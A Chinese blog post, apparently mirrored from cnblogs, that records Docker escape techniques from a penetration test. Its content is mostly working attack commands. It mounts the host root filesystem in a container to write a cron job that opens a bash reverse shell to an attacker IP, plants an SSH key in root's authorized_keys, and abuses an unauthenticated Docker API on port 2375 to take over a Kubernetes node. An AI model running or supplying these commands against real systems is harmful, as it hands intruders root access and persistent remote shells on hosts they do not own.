zoukankan      html  css  js  c++  java
  • 【实战】Docker漏洞的记录

    1.1.   Docker判断

    cat /proc/1/cgroup

     

    ls -alh /.dockerenv

    1.2.  Docker反弹shell

    条件:

    获取到宿主机普通用户权限

    当前用户已加入docker用户组

    a)  写入计划任务获取root权限

    进入容器:

    docker run -it -v /:/mnt alpine

    echo '* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8088 0>&1 2>&1' >> /mnt/var/spool/cron/root

    注:此语句适用于centos系统

    系统任务调度文件:/etc/crontab

    用户 XXX 调度文件:

    ubuntu下路径

    /var/spool/cron/crontabs/xxx

    Alpine下路径

    /etc/cron.d/xxx

    debian下的路径(xxx可以是任意东西)

    /etc/cron.d/xxx

    或者

    /var/spool/cron/crontabs/xxx

    但是写这个路径的时候,文件内不能加用户名

    攻击机监听:

    a)  写入ssh密钥获取root权限

    攻击机

    ssh-keygen -b 4096 -t rsa

    三次回车即可生成

    Docker容器里:

    挂载宿主机根目录进入容器

    docker run -it -v /:/mnt alpine

    echo '生成的.pub文件的内容' >/mnt/root/.ssh/authorized_keys

    攻击机连接:

    ssh -i /home/pentest/.ssh/id_rsa root@xx.xx.xx.xx

    1.3.   Docker配置不当

    Docker api未授权访问

    docker -H tcp://10.1.1.71:2375 images

     

    挂载目录写入计划任务获取root权限,如下图:

    远程挂载命令:docker -H tcp://10.1.1.71:2375 run -it -v /:/mnt alpine

     攻击机监听:

     熟悉的node,成功获取k8s集群的一台节点服务器权限。

  • 相关阅读:
    苦逼也聊模式--(0)--开篇
    发现无力吐槽
    JS函数调用
    初步使用nodejs(一)
    测试一下
    达摩流浪者
    Revit:二开使用Sqlite保存本地数据,并配合EF6等ORM框架
    Revity:查找并修改类型参数和实例参数
    复习一下UML
    Revit:ElementFilter过滤器基类
  • 原文地址:https://www.cnblogs.com/peterpan0707007/p/15246853.html
Copyright © 2011-2022 走看看